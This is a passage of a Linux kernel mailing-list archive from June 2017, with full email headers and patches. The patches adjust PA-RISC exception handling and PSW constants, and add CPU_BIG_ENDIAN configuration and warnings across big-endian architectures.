 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MDyFr-1d50HO1355-00HSRB; Thu, 08
 Jun 2017 22:06:57 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:Iokpz6rYv2IpfMJTUFQ26NSE36T2b5iNqZ4on6+iIDtpfEC1/lp
 UZHQawzkRpnnGUFMGKB3lMiAPiWakTNY5YqLs1vf51KrHYNpM07nFrZ6GkYIowQK3EiRZHa
 2kmAgXi5ILBt5EaEqEeNKAcVWbXRC8uGLxwHEuvDGiFo3u+NhyyZXVFQWqfXnu3ZdGod/5k
 yrepVUE40jyr23dIhyLYQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:LC1FNKU/Ok4=:CewkTbvm+1Hy6PBKfkZesW
 n4yUdrHUGMbJ4kiQPPZ8QGU5EinKGaFEFLdDK/R0xBJdbpFubBy0WemLusfmulqOEgSDEVS/D
 zGovvM3snIHWULtPXenCOeXIU1arUKGlAh8T2kKPntNd5G9kKlXpL929ZqRxEtG2ZcF2tDWcM
 MRDPEnHHvki3p3diEQ4Klf+uafDJQ8/IJ7QRod2MN9hSg9uvQGsISbPQR6r+2Xc3fEnOlVgzp
 2pVQhDijE76RFbORc2HXV6IFQQxTgSj+7/I1DzyaTRKib0uWgNIzAPSprhzPb8CV4geyl0oOz
 TF4NpgfvLnb3HBd5aWT4/c/x24Ve36ySa8xz1dRSHpSLTaW4E4EDvqpba5gjSh/ihkW/ow4yf
 tNjT4td18UlCCl0ZPUx28mODOiFUpcHN6MUmBxnGYn1XR9tA6JvIKkkLSA1hL1z9hXRFnraYK
 vmWnJ0saFDJUjqaX7zLz6gVObT/P3Wgc0d8OvRRpfPkLdlfhWrn95werQvy5pIzOA/CNDJsxZ
 4dB1zkDm0TWg5/xNXhltehrOzFDhMfYeNR16vEYoCW7PgszFmpKfyyID2SSH9MKN1NJEOnV8f
 nv9wOHK88Vu03a/qT8dbQ2rHTFREWUlGA9hfoLddnmKGRjOYbM3VObxuk8HR2VPdoMCG636vJ
 v4nRNOAmmGydQxAJsE+q9FcLdl4IPXo4sgm8L/GiCyQeLfUMPBkw4dBGO5uuS24xLaEHjUGL1
 ltiurqHexymANlzePxn7PMF3sgIB9f+HAsJRzOK3nXqvWACt5z5Jv27PgS8=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27470
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27470>

Register gr[0] holds the PSW in interrupt context. It's absolutely
unlikely that the compiler will use register zero in a get_user() call,
but better BUG on such a case in fixup_exception() anyway.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 32ec221..e683b7f 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -163,6 +163,7 @@ int fixup_exception(struct pt_regs *regs)
 			/* zero target register for get_user() */
 			if (parisc_acctyp(0, regs->iir) == VM_READ) {
 				int treg = regs->iir & 0x1f;
+				BUG_ON(treg == 0);
 				regs->gr[treg] = 0;
 			}
 		}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Don't hardcode value of PSW_SM_D in gsc_*() functions
Date: Thu, 8 Jun 2017 22:09:18 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <20170608200918.GA26075@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1496952566 15495 195.159.176.226 (8 Jun 2017 20:09:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Jun 2017 20:09:26 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 08 22:09:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dJ3kA-0001mb-2v
	for glpp-linux-parisc@m.gmane.org; Thu, 08 Jun 2017 22:09:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751475AbdFHUJ1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 8 Jun 2017 16:09:27 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:53742 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751469AbdFHUJ1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 8 Jun 2017 16:09:27 -0400
Original-Received: from p100.box ([193.159.18.99]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MPDeK-1dEg1Q2w0u-004QcP; Thu, 08
 Jun 2017 22:09:20 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:g6x8EXfkG/rnNqqJft19Hu7j1mXTrLIxFiv1YAP/OmBhwzvj7iS
 uQ2rATGmHu5p7FWNl4AihLOfyRIlhy5PLTs3oaCAuIpMtaIOGcgj2F0FeojSM6pYNFWvqv8
 sJrIyxxSvny6KiCn7ML59b7MBN6sWns1mTbVcjUCHLS+MM+X+oDwiIX3ISB5ZQt8KNSVl6s
 ApzZjXLuxzBzSX+/7cAYg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:8kOgpAIVju8=:FRjWzIcEx5XvLdXePeSrfE
 MzUKf03Ew/h2GlNq71cEzaTyknRVKiAZbpM1pJ2gM0PKdjqyy0dEN3KyNwM1SbUzTyvFvIfLB
 l3J2q8KOMtOMmqzXOlBuqV9+R2ZCxVKc5P28R9YloJnww5yMuO+5RghznbVEsfh8uMd8G5tF8
 /UFRTKb9lpWH7T1ugDFpruCbtS2EIy9XjhShL5ChVIVzV56kEJXd6w2aoRmRZP571KxeU/ztx
 mqzlRRMXZQim7MP9hzlrHorbHY8zf+yjTKTFz3/DNqIIsIB+CeCSODygjHwD3bhG9VfHnlHD/
 9Gl9ssOvBqn40AUKjDkN7FWrpaxACiMWAiUq1IbxAs30CLqpM2uo8pJhwrMfSdXaci9yfUSGS
 Q+Yaxfn/J065qx8zLbdug7rRGsHUpJBy39fXp4XnO/9T4lefR2GkWt9z/kqJx+97aaDITxjXl
 P5vaKdZ0hIlTCyLoKYVHbWHNhX2HqrYEKFvaQP5DrTbFKpO7zk9vf/3ghor/eNybbw9YqiJjl
 Tz/DG+Gy2s/VT00AGwilNax1HDGPRPa9BI0DmqBaIIHmhZPOpomWqENcceuJ4iTJIspPbBx5e
 StbGG6C24INguvHiCQZH4zOwENTnXcUPLvFxiYHWSiPSH1yJbokG69E/wZhZTlN7m7Xa+8k1S
 yr4nCXoSztkczPiYcJ1fKEIMrgtwSnQHohK6whBxTP7T5fieLYCxiPkEzkdraVe9nAWFyJRFI
 6ptYexdqq+9FKncXyEYEqgO2kpq1yWLasVLvHacPKXtMu2G+8ak4FnngKTk=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27471
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27471>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/io.h b/arch/parisc/include/asm/io.h
index 1a16f1d..af98254 100644
--- a/arch/parisc/include/asm/io.h
+++ b/arch/parisc/include/asm/io.h
@@ -34,10 +34,10 @@ static inline unsigned char gsc_readb(unsigned long addr)
 	unsigned char ret;
 
 	__asm__ __volatile__(
-	"	rsm	2,%0\n"
+	"	rsm	%3,%0\n"
 	"	ldbx	0(%2),%1\n"
 	"	mtsm	%0\n"
-	: "=&r" (flags), "=r" (ret) : "r" (addr) );
+	: "=&r" (flags), "=r" (ret) : "r" (addr), "i" (PSW_SM_D) );
 
 	return ret;
 }
@@ -48,10 +48,10 @@ static inline unsigned short gsc_readw(unsigned long addr)
 	unsigned short ret;
 
 	__asm__ __volatile__(
-	"	rsm	2,%0\n"
+	"	rsm	%3,%0\n"
 	"	ldhx	0(%2),%1\n"
 	"	mtsm	%0\n"
-	: "=&r" (flags), "=r" (ret) : "r" (addr) );
+	: "=&r" (flags), "=r" (ret) : "r" (addr), "i" (PSW_SM_D) );
 
 	return ret;
 }
@@ -87,20 +87,20 @@ static inline void gsc_writeb(unsigned char val, unsigned long addr)
 {
 	long flags;
 	__asm__ __volatile__(
-	"	rsm	2,%0\n"
+	"	rsm	%3,%0\n"
 	"	stbs	%1,0(%2)\n"
 	"	mtsm	%0\n"
-	: "=&r" (flags) :  "r" (val), "r" (addr) );
+	: "=&r" (flags) :  "r" (val), "r" (addr), "i" (PSW_SM_D) );
 }
 
 static inline void gsc_writew(unsigned short val, unsigned long addr)
 {
 	long flags;
 	__asm__ __volatile__(
-	"	rsm	2,%0\n"
+	"	rsm	%3,%0\n"
 	"	sths	%1,0(%2)\n"
 	"	mtsm	%0\n"
-	: "=&r" (flags) :  "r" (val), "r" (addr) );
+	: "=&r" (flags) :  "r" (val), "r" (addr), "i" (PSW_SM_D) );
 }
 
 static inline void gsc_writel(unsigned int val, unsigned long addr)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Don't hardcode PSW values in hpmc code
Date: Thu, 8 Jun 2017 22:11:00 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20170608201100.GA26104@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1496952670 2756 195.159.176.226 (8 Jun 2017 20:11:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Jun 2017 20:11:10 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 08 22:11:06 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dJ3lp-00086k-8h
	for glpp-linux-parisc@m.gmane.org; Thu, 08 Jun 2017 22:11:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751739AbdFHULL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 8 Jun 2017 16:11:11 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:64743 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751591AbdFHULK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 8 Jun 2017 16:11:10 -0400
Original-Received: from p100.box ([193.159.18.99]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Meduu-1dU8VD2daK-00OEv3; Thu, 08
 Jun 2017 22:11:03 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:VrFF3e978KXK+rVASK74izM7l13Zj5jfYHiHs9jPS07BZML7C3q
 4TOi3Y+6Fb9HbsYs4h0Ai0CjnM3jmLPr2gA8EzYYH2uEuSvCjZqy+ngU5Tx8YAW4gwAjvEW
 3bsPzQEhqunDehS6lKIyjFyMDsm9BR6ekq9I5ZZvqypay36cCLjIH5yx/ScZBR2eoCVZXe1
 ophj2Q4ebM/3fi8kz3oGg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:9inuMdg7pOM=:tChTqdeOIjw7XpfSfwoPbg
 PfTEukB+jWf0QiDm0iJLYycfyRWqd8isDy68jKm7oQT1ut107BG5s+LHltUdltBnrqN+5GMCl
 Cl11q8X1UguhZP0FvHBlpRHZwHIWtZe+OA8NkXpgK5+0QOnEV/Ijm/IxrzcQAyCNugSpT4NIo
 ZXSvNn0mME2DeSq8WN16huX9sai2c+nisk/dZymNC6iysevfICD/BySR2muHpho/kwDgOfCod
 8z3ZlIM4kLAk7Q30gAdNTXE+bdV6y92GyKlMhY/cuz3/QdggYBgDtVOOIrIPj5tq4HrMLE7xl
 1U2fI8JZ2PTGOTag7Ky6OWLs66e6ZmC5pz3WMA43q3+XVjjI++VvxSwipZYnj8OBcqMv6l5L0
 BtkFysWwj4QzCtudZOAPgT9mu89aJGT3bJjj7QTQOttmFLm1J4k5yE3NdFE7+2shlGt0TnKZW
 Pya+b4Z+Re8bxttxy9V596YyLHmGDiC2hFw3jaZBu3nJW9JQ28RcvsZXjoRpZbXlIljGsEl87
 TeRrwSzwF5J8oFWg/uZj+BC061MBN+WKjhoz6pbDi5AXdWHK9qOTKJVKhsyX2EPw0ywLjBpsk
 53hBEft3De3rQaD6ZvWFO2Jq6M6qxKsz2B6LaJLIDTESBGNElatizfjZCr/CJ9yAO+707C5QR
 5bnyhQD4uYsLqpLcYnqs1FilsnhDViknJGpOylC572C9WytkfcmEG/KnGXvy9fYspeLffaRVj
 +kHJHEvwMQ7lZB+BRtxksJOG6yPNpTbyKc6GUIsQ5VbZ9++GERUfL/aYyGc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27472
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27472>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
index 0fbd0a0..e3a8e5e 100644
--- a/arch/parisc/kernel/hpmc.S
+++ b/arch/parisc/kernel/hpmc.S
@@ -44,6 +44,7 @@
 
 #include <asm/assembly.h>
 #include <asm/pdc.h>
+#include <asm/psw.h>
 
 #include <linux/linkage.h>
 #include <linux/init.h>
@@ -135,7 +136,7 @@ ENTRY_CFI(os_hpmc)
 	 * So turn on the Q bit and turn off the M bit.
 	 */
 
-	ldo     8(%r0),%r4                       /* PSW Q on, PSW M off */
+	ldi     PSW_SM_Q,%r4                   /* PSW Q on, PSW M off */
 	mtctl   %r4,ipsw
 	mtctl   %r0,pcsq
 	mtctl   %r0,pcsq
@@ -257,7 +258,7 @@ os_hpmc_5:
 
 	tovirt_r1 %r30      /* make sp virtual */
 
-	rsm 8,%r0           /* Clear Q bit */
+	rsm     PSW_SM_Q,%r0           /* Clear Q bit */
 	ldi     1,%r8       /* Set trap code to "1" for HPMC */
 	load32	PA(intr_save),%r1
 	be      0(%sr7,%r1)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH 0/2] Define CPU_BIG_ENDIAN or warn for inconsistencies
Date: Thu,  8 Jun 2017 15:17:21 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <1496960243-196898-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496960343 10649 195.159.176.226 (8 Jun 2017 22:19:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Jun 2017 22:19:03 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: ysato@users.sourceforge.jp, geert@linux-m68k.org,
        jonas@southpole.se, stefan.kristiansson@saunalahti.fi,
        shorne@gmail.com, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, viro@zeniv.linux.org.uk
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Jun 09 00:18:57 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1dJ5lX-0000Ck-Ht
	for glpm-linux-m68k@m.gmane.org; Fri, 09 Jun 2017 00:18:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751478AbdFHWTA (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Thu, 8 Jun 2017 18:19:00 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:22173 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751475AbdFHWTA (ORCPT
        <rfc822;linux-m68k@vger.kernel.org>); Thu, 8 Jun 2017 18:19:00 -0400
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v58MHaB9020164
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 8 Jun 2017 22:17:36 GMT
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
        by aserv0022.oracle.com (8.14.4/8.14.4) with ESMTP id v58MHaKj009978
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Thu, 8 Jun 2017 22:17:36 GMT
Original-Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24])
        by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id v58MHUet008887;
        Thu, 8 Jun 2017 22:17:31 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Thu, 08 Jun 2017 15:17:30 -0700
X-Mailer: git-send-email 1.7.1
X-Source-IP: aserv0022.oracle.com [141.146.126.234]
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9354 gmane.linux.kernel:2496236 gmane.linux.ports.parisc:27473 gmane.linux.ports.sparc:25453
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9354>

Found this problem while enabling queued rwlock on SPARC.
The parameter CONFIG_CPU_BIG_ENDIAN is used to clear the
specific byte in qrwlock structure. Without this parameter,
we clear the wrong byte. Here is the code.

static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
  {
         return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
  }

Here is the previous discussion.
http://www.spinics.net/lists/devicetree/msg178101.html

Based on the discussion, it was decided to add CONFIG_CPU_BIG_ENDIAN
for all the fixed big endian architecture(frv, h8300, m68k, openrisc,
parisc and sparc). And warn if there are inconsistencies in this definition.

Babu Moger (2):
  arch: Define CPU_BIG_ENDIAN for all fixed big endian archs
  include: warn for inconsistent endian config definition

 arch/frv/Kconfig                        |    3 +++
 arch/h8300/Kconfig                      |    3 +++
 arch/m68k/Kconfig                       |    3 +++
 arch/openrisc/Kconfig                   |    3 +++
 arch/parisc/Kconfig                     |    3 +++
 arch/sparc/Kconfig                      |    3 +++
 include/linux/byteorder/big_endian.h    |    4 ++++
 include/linux/byteorder/little_endian.h |    4 ++++
 8 files changed, 26 insertions(+), 0 deletions(-)


From - Thu Nov 08 21:39:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH 2/2] include: warn for inconsistent endian config definition
Date: Thu,  8 Jun 2017 15:17:23 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <1496960243-196898-3-git-send-email-babu.moger@oracle.com>
References: <1496960243-196898-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496960350 11867 195.159.176.226 (8 Jun 2017 22:19:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Jun 2017 22:19:10 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: ysato@users.sourceforge.jp, geert@linux-m68k.org,
        jonas@southpole.se, stefan.kristiansson@saunalahti.fi,
        shorne@gmail.com, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, viro@zeniv.linux.org.uk
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 09 00:19:04 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dJ5lg-0002nr-9Q
	for glk-linux-kernel-3@m.gmane.org; Fri, 09 Jun 2017 00:19:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751917AbdFHWTG (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 8 Jun 2017 18:19:06 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:22195 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751817AbdFHWTD (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 8 Jun 2017 18:19:03 -0400
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v58MHa2r020163
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 8 Jun 2017 22:17:37 GMT
Original-Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236])
        by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id v58MHZRA012993
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 8 Jun 2017 22:17:36 GMT
Original-Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24])
        by aserv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v58MHWPt002637;
        Thu, 8 Jun 2017 22:17:33 GMT
Original-Received: from ca-qasparc20.us.oracle.com (/10.147.24.73)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Thu, 08 Jun 2017 15:17:32 -0700
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1496960243-196898-1-git-send-email-babu.moger@oracle.com>
X-Source-IP: userv0021.oracle.com [156.151.31.71]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2496237 gmane.linux.ports.m68k:9355 gmane.linux.ports.parisc:27474 gmane.linux.ports.sparc:25454
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2496237>

Display warning if CPU_BIG_ENDIAN is not defined on big endian
architecture and also warn if it defined on little endian architectures.

We have seen some generic code(for example code include/asm-generic/qrwlock.h)
uses CONFIG_CPU_BIG_ENDIAN to decide the endianess.

Here is the original discussion
http://www.spinics.net/lists/devicetree/msg178101.html

Signed-off-by: Babu Moger <babu.moger@oracle.com>
Suggested-by: Arnd Bergmann <arnd@arndb.de>
---
 include/linux/byteorder/big_endian.h    |    4 ++++
 include/linux/byteorder/little_endian.h |    4 ++++
 2 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/include/linux/byteorder/big_endian.h b/include/linux/byteorder/big_endian.h
index 3920414..ffd2159 100644
--- a/include/linux/byteorder/big_endian.h
+++ b/include/linux/byteorder/big_endian.h
@@ -3,5 +3,9 @@
 
 #include <uapi/linux/byteorder/big_endian.h>
 
+#ifndef CONFIG_CPU_BIG_ENDIAN
+#warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN
+#endif
+
 #include <linux/byteorder/generic.h>
 #endif /* _LINUX_BYTEORDER_BIG_ENDIAN_H */
diff --git a/include/linux/byteorder/little_endian.h b/include/linux/byteorder/little_endian.h
index 0805737..ba910bb 100644
--- a/include/linux/byteorder/little_endian.h
+++ b/include/linux/byteorder/little_endian.h
@@ -3,5 +3,9 @@
 
 #include <uapi/linux/byteorder/little_endian.h>
 
+#ifdef CONFIG_CPU_BIG_ENDIAN
+#warning inconsistent configuration, CONFIG_CPU_BIG_ENDIAN is set
+#endif
+
 #include <linux/byteorder/generic.h>
 #endif /* _LINUX_BYTEORDER_LITTLE_ENDIAN_H */
-- 
1.7.1



From - Thu Nov 08 21:39:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: [PATCH 1/2] arch: Define CPU_BIG_ENDIAN for all fixed big endian archs
Date: Thu,  8 Jun 2017 15:17:22 -0700
Lines: 116
Approved: news@gmane.org
Message-ID: <1496960243-196898-2-git-send-email-babu.moger@oracle.com>
References: <1496960243-196898-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496960356 13255 195.159.176.226 (8 Jun 2017 22:19:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Jun 2017 22:19:16 +0000 (UTC)
Cc: mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: ysato@users.sourceforge.jp, geert@linux-m68k.org,
        jonas@southpole.se, stefan.kristiansson@saunalahti.fi,
        shorne@gmail.com, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, viro@zeniv.linux.org.uk
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 09 00:19:09 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dJ5lk-0002yu-O1
	for glk-linux-kernel-3@m.gmane.org; Fri, 09 Jun 2017 00:19:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751955AbdFHWTK (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 8 Jun 2017 18:19:10 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:47909 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751817AbdFHWTH (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 8 Jun 2017 18:19:07 -0400
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v58MHa4k008740
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
